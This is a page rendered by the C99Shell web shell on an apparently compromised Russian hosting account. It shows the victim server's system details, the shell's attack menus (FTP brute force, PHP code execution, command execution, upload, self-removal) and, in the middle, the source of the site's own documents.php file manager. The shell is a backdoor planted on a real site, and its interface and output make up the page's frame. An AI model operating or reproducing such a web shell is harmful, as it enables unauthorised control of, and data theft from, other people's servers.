!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/   drwxr-x---
Free 2663.5 GB of 4607.12 GB (57.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     documents.php (20.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require("design.php");

define("IS_UTF8"true);

function 
UTF8ToFile($file)
{
    if (!
IS_UTF8) return UTF8ToWin1251($file); else return $file;
}

function 
FileToUTF8($file)
{
    if (!
IS_UTF8) return Win1251ToUTF8($file); else return $file;    
}

session_start();


function 
delTree($dir)

    
$files array_diff(scandir($dir), array('.''..')); 

    foreach (
$files as $file)
    { 
       if (
is_dir("$dir/$file")) delTree("$dir/$file"); else unlink("$dir/$file"); 
    }

    return 
rmdir($dir); 



if (isset(
$_POST['action']))
{
    if (!
AdminAuth(RIGHT_SUPER_ADMIN)) die("ERROR: Доступ закрыт!");


    if (
$_POST['action'] == "mkdir")
    {
        
$path _POST_('path');
        
$name trim(_POST_('name'));

        if (
$name == '') die("ERROR: Введите название папки!");
        if (!
preg_match("|^documents|"$path) || preg_match("|/\.\.|"$path)) die("ERROR: Неверный путь!");

        
$path UTF8ToFile($path);
        
$name UTF8ToFile($name);

        if (
preg_match("|\|/\\\\*\?|"$name)) die("ERROR: Запрещённые символы в названии папки!");

        

        
$fullPath "$path/$name";
        if (!@
mkdir($fullPath)) die("ERROR: Не удалось создать папку `$fullPath`!");
        @
chmod("$fullPath",0777);

        die(
"OK");
    }

    if (
$_POST['action'] == "renamedir")
    {
        
$path _POST_('oldName');
        
$name _POST_('newName');

        if (
$name == '') die("ERROR: Введите название папки!");
        if (!
preg_match("|^documents|"$path) || preg_match("|/\.\.|"$path)) die("ERROR: Неверный путь!");

        
$path UTF8ToFile($path);
        
$name UTF8ToFile($name);

        if (
preg_match("|\|/\\\\*\?|"$name)) die("ERROR: Запрещённые символы в названии папки!");
        
        if (!
preg_match("|^(.*/)[^/]+$|"$path,$g)) die("ERROR: Не удалось разобрать путь!");

        
$newName $g[1] . $name;
        if (!@
rename($path$newName)) die("ERROR: Не удалось переименовать папку!");
        die(
"OK");
    }


    if (
$_POST['action'] == "rename")
    {
        
$path _POST_('oldName');
        
$name _POST_('newName');

        if (
$name == '') die("ERROR: Введите название папки!");
        if (!
preg_match("|^documents|"$path) || preg_match("|/\.\.|"$path)) die("ERROR: Неверный путь!");
        if (
preg_match("|\|/\\\\*\?|"$name)) die("ERROR: Запрещённые символы в названии файла!");
        
        if (!
preg_match("|^(.*/)[^/]+$|"$path,$g)) die("ERROR: Не удалось разобрать путь!");
        
$newName $g[1] . $name;

        
$path UTF8ToFile($path);
        
$newName UTF8ToFile($newName);


        if (!@
rename($path$newName)) die("ERROR: Не удалось переименовать файл!");
        die(
"OK");
    }


    if (
$_POST['action'] == "rmdir")
    {
        
$path _POST_('path');

        if (!
preg_match("|^documents|"$path) || preg_match("|/\.\.|"$path)) die("ERROR: Неверный путь!");

        
$path UTF8ToFile($path);

        
delTree($path);

        die(
"OK");
    }

    if (
$_POST['action'] == "rm")
    {
        
$path _POST_('path');

        if (!
preg_match("|^documents|"$path) || preg_match("|/\.\.|"$path)) die("ERROR: Неверный путь!");

        
$path1251 UTF8ToFile($path);

        if (!@
unlink($path1251)) die("ERROR: Не удалось удалить файл $path");

        die(
"OK");

    }

    if (
$_POST['action'] == "upload")
    {
        
$path _POST_('path');
        if (!
preg_match("|^documents|"$path) || preg_match("|/\.\.|"$path)) die("ERROR: Неверный путь!");


        for(
$i=0$i count($_FILES['files']['name']); $i++)
        {
            
$fileName $_FILES['files']['name'][$i];
            if (
preg_match("/(\/[^\/]+)$/",$fileName$g)) $fileName $g[1];
            
$fileName preg_replace("/\.\./m","--",$fileName);

            
$fileName preg_replace("/\\\/m","-",$fileName);
            
$fileName preg_replace("/\*\?\|\+/m"," ",$fileName);

            
$fullFileNameUTF8 "$path/$fileName";

            
            
$fullFileName UTF8ToFile($fullFileNameUTF8);

            if (
move_uploaded_file($_FILES['files']['tmp_name'][$i], $fullFileName))
            {
                
chmod($fullFileName0666);
            }
            else
                die(
"ERROR: Не удалось залить файл `$fullFileNameUTF8`!");
            
        }
        
        die(
"OK");
    }











    die(
"ERROR: Неверный запрос!");
}





TOP(-1);


LEFTCOLUMN();
CHANNELS();
MAINCOLUMN();
?>


<h1>Документы</h1>

<style>
.doc
{
    margin-top:4px;
    margin-bottom:4px;
    text-indent:-22;
    margin-left:20;
}

.plus
{
    border:1px solid #6699CC;
    padding:2 2 2 2;
    cursor:pointer;
    border-radius:3px;
}

table.folder
{
    cursor:pointer;
}

table.folder:hover
{
    transition-property: background-color;
    transition-duration: 500ms;    
    background-color:#cceeff;
}

td.folder
{
    font-size:22px;
    color:#336699;
    font-weight:bold;
}

table.filedoc
{
    cursor:pointer;
    margin-bottom:5px;
}

td.filedoc
{
    font-size:16px;
}    


</style>    

<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178' target=_blank>Общая информация</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/tasks/9905327' target=_blank>Информация о государственном (муниципальном) задании и его исполнении</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/plans' target=_blank>Информация о плане финансово-хозяйственной деятельности</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/operations/' target=_blank>Информация об операциях с целевыми средствами из бюджета</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/annual-balances-F0503721' target=_blank>Отчет о финансовых результатах деятельности учреждения (ф. 0503721)</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/annual-balances-f0503737' target=_blank>Отчет об исполнении учреждением плана его финансово-хозяйственной деятельности (ф. 0503737)</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/annual-balances-f0503762' target=_blank>Сведения о результатах учреждения по исполнению государственного (муниципального) задания (ф. 0503762)</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/reports' target=_blank>Информация о результатах деятельности и об использовании имущества</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/measures' target=_blank>Сведения о контрольных мероприятиях и их результатах</a></div>

<br><br>

<?php

$GLOBALS
['fileEnum'] = 0;
function 
DocList($subpath)
{
    
$canEdit AdminAuth(RIGHT_SUPER_ADMIN);
    
$dir = @opendir("documents$subpath");
    if (
$dir)
    {
        while(
$file readdir($dir))
        {
            if (
$file!="." && $file!=".." && preg_match("/^\d+$/"$file))
            {
                
$fullPath "documents$subpath/$file";
                if (
is_dir($fullPath))
                {
                    
$fileEnum $GLOBALS['fileEnum'];
                    
$utf8=FileToUTF8($file);
                    
$fullPathUTF8 FileToUTF8("documents$subpath/$file");


                    
$plus 'plus.gif';
                    
$display 'display:none';

                    if (isset(
$_GET['dir']))
                    {
                        if (
$_GET['dir']==$fullPathUTF8)
                        {
                            print 
"<a name=a></a>";
                            
$plus 'minus.gif';
                            
$display='';
                        }
                    }

                    print 
"<table class=folder id=folderElm$fileEnum><tr>";
                    print 
"<td onclick='folderClick($fileEnum)'><img src='$plus' class=plus id=plus$fileEnum></td>";
                    print 
"<td onclick='folderClick($fileEnum)'><img src='folder24x24.png' width=24 height=24></td>";
                    print 
"<td onclick='folderClick($fileEnum)' class=folder id=folder$fileEnum>$utf8</td>";

                    if (
$canEdit)
                    {
                        print 
"<td nowrap>";
                        print 
"<img src='edit.png' title='Переименовать' class=editBtn2 onclick='renameFolder($fileEnum, \"$fullPathUTF8\")'>";
                        print 
"<img src='del32x32.png' title='Удалить' class=editBtn2 onclick='delFolder($fileEnum, \"$fullPathUTF8\")'>";
                        print 
"</td>";
                    }
                    print 
"</tr></table>\n";
                    print 
"<div style='padding-left:32px; $display' id=inner$fileEnum>\n";
                    
$GLOBALS['fileEnum']++;

                    
DocList("$subpath/$file");


                    print 
"\n</div>\n";
                }
            }    
        }
        
closedir($dir);
    }



    
$dir = @opendir("documents$subpath");
    if (
$dir)
    {
        while(
$file readdir($dir))
        {
            if (
$file!="." && $file!=".." && !preg_match("/^\d+$/"$file))
            {
                
$fullPath "documents$subpath/$file";
                if (
is_dir($fullPath))
                {
                    
$fileEnum $GLOBALS['fileEnum'];
                    
$utf8=FileToUTF8($file);
                    
$fullPathUTF8 FileToUTF8("documents$subpath/$file");


                    
$plus 'plus.gif';
                    
$display 'display:none';

                    if (isset(
$_GET['dir']))
                    {
                        if (
$_GET['dir']==$fullPathUTF8)
                        {
                            print 
"<a name=a></a>";
                            
$plus 'minus.gif';
                            
$display='';
                        }
                    }

                    print 
"<table class=folder id=folderElm$fileEnum><tr>";
                    print 
"<td onclick='folderClick($fileEnum)'><img src='$plus' class=plus id=plus$fileEnum></td>";
                    print 
"<td onclick='folderClick($fileEnum)'><img src='folder24x24.png' width=24 height=24></td>";
                    print 
"<td onclick='folderClick($fileEnum)' class=folder id=folder$fileEnum>$utf8</td>";

                    if (
$canEdit)
                    {
                        print 
"<td nowrap>";
                        print 
"<img src='edit.png' title='Переименовать' class=editBtn2 onclick='renameFolder($fileEnum, \"$fullPathUTF8\")'>";
                        print 
"<img src='del32x32.png' title='Удалить' class=editBtn2 onclick='delFolder($fileEnum, \"$fullPathUTF8\")'>";
                        print 
"</td>";
                    }
                    print 
"</tr></table>\n";
                    print 
"<div style='padding-left:32px; $display' id=inner$fileEnum>\n";
                    
$GLOBALS['fileEnum']++;

                    
DocList("$subpath/$file");


                    print 
"\n</div>\n";
                }
            }    
        }
        
closedir($dir);
    }


    
$dir = @opendir("documents$subpath");
    if (
$dir)
    {
        while(
$file readdir($dir))
        {
            if (
$file!="." && $file!="..")
            {
                
$fullPath "documents$subpath/$file";
                if (!
is_dir($fullPath))
                {
                    
$utf8=FileToUTF8($file);
                    
$fullPathUTF8 FileToUTF8("documents$subpath/$file");

                    
$fileEnum $GLOBALS['fileEnum'];
                    print 
"<table class=filedoc id='fileElm$fileEnum'><tr>";
                    print 
"<td><a href='$fullPathUTF8' target=_blank id=docIcon$fileEnum><img src='doc.png' width=16 height=16></a></td>";
                    print 
"<td class=filedoc><a href='$fullPathUTF8' data-href='$fullPathUTF8' target=_blank title='Открыть' id=doc$fileEnum>$utf8</a></td>";

                    print 
"<td nowrap>";
                    print 
"<a href='$fullPathUTF8' download='$utf8' title='Скачать' id='download$fileEnum'><img src='download.png' class=editBtn2></a>";
                    print 
"</td>";

                    if (
$canEdit)
                    {
                        print 
"<td nowrap>";
                        print 
"<img src='edit.png' title='Переименовать файл' class=editBtn2 onclick='renameFile($fileEnum)'>";
                        print 
"<img src='del32x32.png' title='Удалить файл' class=editBtn2 onclick='delFile($fileEnum)'>";
                        print 
"</td>";
                    }
                    
                    print 
"</tr></table>\n";
                    
$GLOBALS['fileEnum']++;
                }
            }    
        }
        
closedir($dir);
    }

    
$subpath FileToUTF8($subpath);
    if (
$canEdit) print "<center style='margin-top:10; margin-bottom:20'>[ <a href='#' onclick='addFile(\"documents$subpath\");return false'>Добавить файл</a> ] [ <a href='#' onclick='addFolder(\"documents$subpath\");return false'>Новая папка</a> ]</center>\n";
}

DocList("");

?>

<script>
function folderClick(id)
{
    var inner = document.getElementById('inner'+id);
    var plus = document.getElementById('plus'+id);

    if (inner.style.display=="")
    {
        inner.style.display="none";
        plus.src="plus.gif";
    }
    else
    {
        inner.style.display="";
        plus.src="minus.gif";
    }    
}
</script>


<?php

$canEdit 
AdminAuth(RIGHT_SUPER_ADMIN);
if (
$canEdit) { ?>
<script>

function addFolder(subpath)
{
    var dlg = openDialogBox("Создать папку");

    dlg.innerElement.style.width=500;
    dlg.innerElement.style.height=100;
    dlg.innerElement.style.textAlign="left";

    var form = dlg.innerElement.appendChild(document.createElement('FORM'));
    form.innerHTML = "Введите название папки:<br>";
    var editor = form.appendChild(createInput('text'));
    editor.style.width="100%";
    
    var center = form.appendChild(document.createElement('CENTER'));
    center.style.paddingTop=16;
    var submitBtn = center.appendChild(createInput('submit'));
    submitBtn.value = "Создать";

    var btn = center.appendChild(createInput('button'));
    btn.value = "Закрыть";
    btn.onclick=function() { dlg.close(); }

    form.onsubmit = function(e)
    {
        if (e.preventDefault) e.preventDefault();

        var post = 'action=mkdir';
        post+='&path='+encodeURIComponent(subpath);
        post+='&name='+encodeURIComponent(editor.value.trim());

        submitBtn.disabled=true;

        sendXHR('documents.php',post,
            function()
            {
                location = "documents.php?dir="+encodeURIComponent(subpath+'/'+editor.value.trim())+'#a';
            },
            function(error)
            {
                submitBtn.disabled=false;
                errorBox(error);
            });    
        return false;
    };
    editor.focus();
    dlg.alignInScreenCenter();
}



function addFile(subpath)
{
    var dlg = openDialogBox("Добавить файл");

    dlg.innerElement.style.width=500;
    dlg.innerElement.style.height=100;
    dlg.innerElement.style.textAlign="left";

    var form = dlg.innerElement.appendChild(document.createElement('FORM'));

    form.innerHTML = "Выберите файлы (или перетащите сюда):<br>";
    var fileEditor = form.appendChild(createInput('file'));
    fileEditor.name="files[]";
    fileEditor.accept=".pdf,.jpg,.jpeg,.png,.gif,.zip,.txt,.doc,.docx,.xls,.xlsx,.ppt,.pps,.pptx,.ppsx";
    fileEditor.multiple = true;
    fileEditor.style.width="100%";

    fileEditor.onchange = function()
    {
        doSubmit();
    }
    
    var center = form.appendChild(document.createElement('CENTER'));
    center.style.paddingTop=16;
    var submitBtn = center.appendChild(createInput('submit'));
    submitBtn.value = "Отправить";

    var btn = center.appendChild(createInput('button'));
    btn.value = "Закрыть";
    btn.onclick=function() { dlg.close(); }

    var doSubmit = function(e)
    {
        if (e && e.preventDefault) e.preventDefault();

        var formData = new FormData(form);
        formData.append('action','upload');
        formData.append('path',subpath);
        submitBtn.disabled=true;

        sendXHR('documents.php',formData,
            function(response)
            {
                console.log(response);
                location = 'documents.php?dir='+encodeURIComponent(subpath)+'&rnd='+Math.random()+'#a';
                //location.reload();
            },
            function(error)
            {
                submitBtn.disabled=false;
                errorBox(error);
            },
            40000);    
        return false;
    };

    form.onsubmit = doSubmit;
    dlg.alignInScreenCenter();
}


function renameFolder(n, oldName)
{
    var folderA = document.getElementById('folder'+n);
    var folderName = folderA.innerText.trim();

    var dlg = openDialogBox("Переименовать папку");

    dlg.innerElement.style.width=500;
    dlg.innerElement.style.height=100;
    dlg.innerElement.style.textAlign="left";

    var form = dlg.innerElement.appendChild(document.createElement('FORM'));
    form.innerHTML = "Введите новое название папки:<br>";
    var editor = form.appendChild(createInput('text'));
    editor.value=folderName;
    editor.style.width="100%";
    
    var center = form.appendChild(document.createElement('CENTER'));
    center.style.paddingTop=16;
    var submitBtn = center.appendChild(createInput('submit'))
    submitBtn.value = "Переименовать";

    var btn = center.appendChild(createInput('button'))
    btn.value = "Закрыть";
    btn.onclick=function() { dlg.close(); }

    form.onsubmit = function(e)
    {
        if (e.preventDefault) e.preventDefault();

        var post = 'action=renamedir';
        post+='&oldName='+encodeURIComponent(oldName);
        post+='&newName='+encodeURIComponent(editor.value.trim());

        submitBtn.disabled=true;

        sendXHR('documents.php',post,
            function(response)
            {
                console.log(response);
                var path = '';
                var g = oldName.match(/^(.*)\/[^\/]+$/);
                if (g) path = g[1];

                location = "documents.php?dir="+encodeURIComponent(path)+'#a';
            },
            function(error)
            {
                submitBtn.disabled=false;
                errorBox(error);
            });    
        return false;
    };
    editor.focus();
    dlg.alignInScreenCenter();
}


function renameFile(n)
{
    var fileA = document.getElementById('doc'+n);
    var oldName = fileA.dataset.href;
    var docName = fileA.innerText.trim();

    var dlg = openDialogBox("Переименовать файл");

    dlg.innerElement.style.width=500;
    dlg.innerElement.style.height=100;
    dlg.innerElement.style.textAlign="left";

    var form = dlg.innerElement.appendChild(document.createElement('FORM'));
    form.innerHTML = "Введите новое название файла:<br>";
    var editor = form.appendChild(createInput('text'));
    editor.style.width="100%";
    editor.value=docName;
    
    var center = form.appendChild(document.createElement('CENTER'));
    center.style.paddingTop=16;
    var submitBtn = center.appendChild(createInput('submit'))
    submitBtn.value = "Переименовать";

    var btn = center.appendChild(createInput('button'))
    btn.value = "Закрыть";
    btn.onclick=function() { dlg.close(); }

    form.onsubmit = function(e)
    {
        if (e.preventDefault) e.preventDefault();

        var newName = editor.value.trim();

        var oldExt = '';
        var newExt = '';
        var g = oldName.match(/\.([^\.]+)$/);
        if (g) oldExt = g[1].toLowerCase()

        g = newName.match(/\.([^\.]+)$/);
        if (g) newExt = g[1].toLowerCase();
        
        if (newExt!=oldExt)
        {
            newName+='.'+oldExt;
            editor.value=newName;
        }    
        


        var post = 'action=rename';
        post+='&oldName='+encodeURIComponent(oldName);
        post+='&newName='+encodeURIComponent(newName);

        submitBtn.disabled=true;

        sendXHR('documents.php',post,
            function()
            {
                var path = '';
                var g = oldName.match(/^(.*)\/[^\/]+$/);
                if (g) path = g[1];

                var fullName = path + '/'+newName;

                var downloadA = document.getElementById('download'+n);
                var iconA = document.getElementById('docIcon'+n);

                fileA.href=fullName;
                iconA.href=fullName;
                fileA.dataset.href=fullName;
                fileA.innerHTML = _html_(newName);
                downloadA.href=fullName;
                downloadA.download = newName;
                dlg.close();
            },
            function(error)
            {
                submitBtn.disabled=false;
                errorBox(error);
            });    
        return false;
    };
    editor.focus();
    dlg.alignInScreenCenter();
}


function delFile(n, oldName)
{
    var fileA = document.getElementById('doc'+n);
    var oldName = fileA.dataset.href;
    var docName = fileA.innerText.trim();

    yesNoDialog('Удалить файл "'+docName+'"?','Удаление файла',
        function()
        {
            sendXHR('documents.php','action=rm&path='+encodeURIComponent(oldName),
                function()
                {
                    var elm = document.getElementById('fileElm'+n);
                    elm.parentNode.removeChild(elm);
                },
                function(error)
                {
                    errorBox(error);
                });    
        });
}


function delFolder(n, oldName)
{
    var fileA = document.getElementById('folder'+n);
    var docName = fileA.innerText.trim();

    yesNoDialog('Удалить папку "'+docName+'" и всё ее содержимое?','Удаление папки',
        function()
        {
            sendXHR('documents.php','action=rmdir&path='+encodeURIComponent(oldName),
                function()
                {
                    var elm = document.getElementById('folderElm'+n);
                    elm.parentNode.removeChild(elm);

                    elm = document.getElementById('inner'+n);
                    elm.parentNode.removeChild(elm);
                },
                function(error)
                {
                    errorBox(error);
                });    
        });
}
</script>

<?php
}

MIDDLECOLUMN2();
print 
"<center><table><tr><td>";
ACTUALLINKS('actualLinksH');
print 
"</tr></td></table></center>";
FAQ();

MIDDLECOLUMN();
CHANNELS("channelBlockH");
RIGHTCOLUMN();

ACTUALLINKS();
FAQ();

?>




<?php BOTTOM(); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--